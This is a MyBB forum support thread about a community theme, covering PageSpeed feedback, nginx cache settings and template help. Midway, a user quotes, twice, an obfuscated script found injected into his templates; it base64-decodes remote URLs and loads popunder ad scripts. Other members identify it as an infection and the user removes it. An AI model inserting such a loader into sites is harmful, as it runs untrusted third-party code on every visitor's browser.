MyBB Community Forums

Pages: 1 2 3 4 5 6

Just some feedback regarding this theme. Google PageSpeed Insights is telling me, regarding the mobile version of this site, it sees the following issues with my site, which is using this theme. Also, I am just passing these along for future development, not asking to fix this one. I can fix some of these for my instance of the theme, but other aspects are just too deeply integrated to make it worthwhile.

Image elements do not have explicit width and height
<img src="https://domain.tld/images/duende_v3_local/collapse.png" id="cat_7_img" class="expander" alt="[-]" original-title="[-]" style="cursor: pointer;">
This is happening for a bunch of different ID's, or "cat_##_img" and so forth.

Ensure text remains visible during webfont load
https://domain.tld/images/duende_v3_loca...f2?v=4.7.0

Avoid an excessive DOM size
Maximum DOM Depth: <a href="https://domain.tld/thread-144.html">
Maximum Child Elements: <div class="indexrow1" original-title="">
This is happening 1,280 times.

Minimize main-thread work
This is their note: "Consider reducing the time spent parsing, compiling and executing JS. You may find delivering smaller JS payloads helps with this. Learn how to minimize main-thread work"
Script Evaluation took 1,274 ms alone.
This could be a MyBB issue as well.

Serve static assets with an efficient cache policy
The note, "A long cache lifetime can speed up repeat visits to your page."
This link has a 2day cache: https://domain.tld/images/duende_v3_loca...f2?v=4.7.0
The other links have 30 day caches.
27 resources found.

Reduce JavaScript execution time
The note, "Consider reducing the time spent parsing, compiling, and executing JS. You may find delivering smaller JS payloads helps with this."
These two together took 1,805ms:
https://domain.tld/
https://domain.tld/jscripts/jquery.js?ver=1823

Avoid chaining critical requests
Note, "he Critical Request Chains below show you what resources are loaded with a high priority. Consider reducing the length of chains, reducing the download size of resources, or deferring the download of unnecessary resources to improve page load."
Maximum critical path latency: 928.532 ms

Largest Contentful Paint element
The note, "This is the largest contentful element painted within the viewport."
<td class="trow1">
This is taking 2,560 ms load time.

Avoid large layout shifts
One of four: tr > td.trow2 > div#mark_read_72 > i.fa
<i class="fa fa-folder-open-o" original-title="">

Avoid long main-thread tasks
Note, "Lists the longest tasks on the main thread, useful for identifying worst contributors to input delay."
My main domain is taking 937 ms here.

<td> elements in a large <table> do not have table headers.

Lists do not contain only <li> elements and script supporting elements (<script> and <template>).

Tables do not use <caption> instead of cells with the [colspan] attribute to indicate a caption.

Links do not have a discernible name
The note here, "Link text (and alternate text for images, when used as links) that is discernible, unique, and focusable improves the navigation experience for screen reader users."

Select elements do not have associated label elements.
The note, "Form elements without effective labels can create frustrating experiences for screen reader users."

The page contains a heading, skip link, or landmark region
The note, "Adding ways to bypass repetitive content lets keyboard users navigate the page more efficiently."
<html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">

Serve images in next-gen formats
The note, "Image formats like WebP and AVIF often provide better compression than PNG or JPEG, which means faster downloads and less data consumption."

Efficiently encode images
Note, "Optimized images load faster and consume less cellular data."
One example, https://domain.tld/images/duende_v3_local/hdbg1.jpg

Eliminate render-blocking resources
The note, "Resources are blocking the first paint of your page. Consider delivering critical JS/CSS inline and deferring all non-critical JS/styles."
https://domain.tld/images/duende_v3_loca...me.min.css
https://domain.tld/cache/themes/theme15/...1694473322
https://domain.tld/jscripts/jquery.js?ver=1823

Thank you for the amazing theme/template!

Requesting a Dark Mode.

Please help...
Trying to replace Threads word in 2nd column on mainpage...and can't locate where it is defined. Translation pack does not include this element.
Thank You in advance

(2023-09-27, 10:25 PM)times Wrote: [ -> ]Just some feedback regarding this theme. Google PageSpeed Insights is telling me, r....[....].

I can fix some of these for my instance of the theme, but other aspects are just too deeply integrated to make it worthwhile.

Thank you for the amazing theme/template!

Some remarks I can't fix like reducing the size of jquery ("Reduce JavaScript execution time" same for "Eliminate render-blocking resources")... This theme is using a lot of div and tables so "Avoid an excessive DOM size" can't be avoided as well, unless I would rewrite a theme from scratch. I try to already load as much of async as possible. If I would load jquery async or other dependencies async, your site will not function correctly anymore.

Improving image encoding and convert all images to webp could still be a good idea to do! Lightbulb

This will speed up page loads a lot. Feel free to help me! Code is open source.

If you are planning to help me out, be sure to NOT make any prio-changes to the template, so start ideally from the original theme I provided. And only apply the changes like moving to webp format images. I will NOT accept changes if these are unrelated changes in the template files or CSS files. Just saying upfront.

Quote:Serve static assets with an efficient cache policy

Is actually more a server-side issue.. If you use Nginx try to set cache headers and expires setting on assets/images as well as on fonts/svgs.. For example, here is what I use:

# assets, documents, archives, media
location ~* \.(?:css(\.map)?|js(\.map)?|jpe?g|png|tgz|gz|rar|bz2|doc|pdf|ptt|tar|gif|ico|cur|heic|webp|tiff?|mp3|m4a|aac|ogg|midi?|wav|mp4|mov|webm|mpe?g|avi|ogv|flv|wmv)$ {
    expires    25d;
    add_header Access-Control-Allow-Origin "*";
    add_header Cache-Control "public, no-transform";
    access_log off;
}

# svg, fonts
location ~* \.(?:svgz?|ttf|ttc|otf|eot|woff2?)$ {
    expires    25d;
    add_header Access-Control-Allow-Origin "*";
    add_header Cache-Control "public, no-transform";
    access_log off;
}

If you use Apache2, good luck I don't use Apache anymore. Angel

(2024-09-21, 07:22 PM)nessip Wrote: [ -> ]Trying to replace Threads word in 2nd column on mainpage...and can't locate where it is defined. Translation pack does not include this element.

Admin CP -> Templates & Style -> Templates (in the left-side menu) -> Search/Replace (at the top again) -> Only fill-in "Search For".. Search for the keywords you try to find in the template, and manually replace the strings (only if you are sure you got the right file)

Is this a theme code in index and in showthread file ?

<script type="text/javascript" data-cfasync="false">
/*<![CDATA[/* */
(function(){var x=window,m="b59204c490792b5bfdbafd52acb44267",r=[["siteId",561-172*547-686-989+5223257],["minBid",0],["popundersPerIP","0"],["delayBetween",0],["default",false], ["defaultPerDay",0], ["topmostLayer","auto"]],t=["d3d3LnByZW1pdW12ZXJ0aXNpbmcuY29tL2VsaXN0Lm1pbi5jc3M=","ZDJqMDQyY2oxNDIxd2kuY2xvdWRmcm9udC5uZXQvYWppSUsvYlRvY2NhLm1pbi5qcw=="],s=-1,v,l,g=function(){clearTimeout(l);s++;if(t[s]&&!(1750405686000<(new Date).getTime()&&1<s)){v=x.document.createElement("script");v.type="text/javascript";v.async=!0;var e=x.document.getElementsByTagName("script")[0];v.src="https://"+atob(t[s]);v.crossOrigin="anonymous";v.onerror=g;v.onload=function(){clearTimeout(l);x[m.slice(0,16)+m.slice(0,16)]||g()};l=setTimeout(g,5E3);e.parentNode.insertBefore(v,e)}};if(!x[m]){try{Object.freeze(x[m]=r)}catch(e){}g()}})();
/*]]>/* */
</script>

you mean index and showthread template?

no, this doesn't belong to the theme

with atob() is a base64 encoded url included
do you have an ad-plugin in your board? url is decoded: premiumvertising . com

(2024-10-02, 04:57 AM)bv64 Wrote: [ -> ]you mean index and showthread template?

no, this doesn't belong to the theme

with atob() is a base64 encoded url included
do you have an ad-plugin in your board? url is decoded: premiumvertising . com

Than it might be from advertising company because I have deleted that code from index and showthread template.

@danger89 can you help me on latest threads option. sometimes its showing latest threads and sometimes not.

Do I have to repair the threads table ?

(2024-10-01, 08:31 PM)jkneon Wrote: [ -> ]Is this a theme code in index and in showthread file ?

<script type="text/javascript" data-cfasync="false">
/*<![CDATA[/* */
(function(){var x=window,m="b59204c490792b5bfdbafd52acb44267",r=[["siteId",561-172*547-686-989+5223257],["minBid",0],["popundersPerIP","0"],["delayBetween",0],["default",false], ["defaultPerDay",0], ["topmostLayer","auto"]],t=["d3d3LnByZW1pdW12ZXJ0aXNpbmcuY29tL2VsaXN0Lm1pbi5jc3M=","ZDJqMDQyY2oxNDIxd2kuY2xvdWRmcm9udC5uZXQvYWppSUsvYlRvY2NhLm1pbi5qcw=="],s=-1,v,l,g=function(){clearTimeout(l);s++;if(t[s]&&!(1750405686000<(new Date).getTime()&&1<s)){v=x.document.createElement("script");v.type="text/javascript";v.async=!0;var e=x.document.getElementsByTagName("script")[0];v.src="https://"+atob(t[s]);v.crossOrigin="anonymous";v.onerror=g;v.onload=function(){clearTimeout(l);x[m.slice(0,16)+m.slice(0,16)]||g()};l=setTimeout(g,5E3);e.parentNode.insertBefore(v,e)}};if(!x[m]){try{Object.freeze(x[m]=r)}catch(e){}g()}})();
/*]]>/* */
</script>

Uh.. that is NOT part of the theme. You got yourself infected by something. It could be malicious add-on or somebody had access to your server. Did you get hacked recently? Like a previous user mentioned this goes to some kind of premiumvertising dot com domain and should not be trusted.

(2024-10-02, 08:54 PM)danger89 Wrote: [ -> ]
(2024-10-01, 08:31 PM)jkneon Wrote: [ -> ]Is this a theme code in index and in showthread file ?

<script type="text/javascript" data-cfasync="false">
/*<![CDATA[/* */
(function(){var x=window,m="b59204c490792b5bfdbafd52acb44267",r=[["siteId",561-172*547-686-989+5223257],["minBid",0],["popundersPerIP","0"],["delayBetween",0],["default",false], ["defaultPerDay",0], ["topmostLayer","auto"]],t=["d3d3LnByZW1pdW12ZXJ0aXNpbmcuY29tL2VsaXN0Lm1pbi5jc3M=","ZDJqMDQyY2oxNDIxd2kuY2xvdWRmcm9udC5uZXQvYWppSUsvYlRvY2NhLm1pbi5qcw=="],s=-1,v,l,g=function(){clearTimeout(l);s++;if(t[s]&&!(1750405686000<(new Date).getTime()&&1<s)){v=x.document.createElement("script");v.type="text/javascript";v.async=!0;var e=x.document.getElementsByTagName("script")[0];v.src="https://"+atob(t[s]);v.crossOrigin="anonymous";v.onerror=g;v.onload=function(){clearTimeout(l);x[m.slice(0,16)+m.slice(0,16)]||g()};l=setTimeout(g,5E3);e.parentNode.insertBefore(v,e)}};if(!x[m]){try{Object.freeze(x[m]=r)}catch(e){}g()}})();
/*]]>/* */
</script>

Uh.. that is NOT part of the theme. You got yourself infected by something. It could be malicious add-on or somebody had access to your server. Did you get hacked recently? Like a previous user mentioned this goes to some kind of premiumvertising dot com domain and should not be trusted.

I have deleted that code.

can you help me on latest threads option. sometimes its showing latest threads and sometimes not.

Do I have to repair the threads table ?

(2024-10-02, 10:09 PM)jkneon Wrote: [ -> ]can you help me on latest threads option. sometimes its showing latest threads and sometimes not.

Do I have to repair the threads table ?

what do you mean? the arrow which points to the last newest post in a thread?
this is only shown, if there are new unread posts

Pages: 1 2 3 4 5 6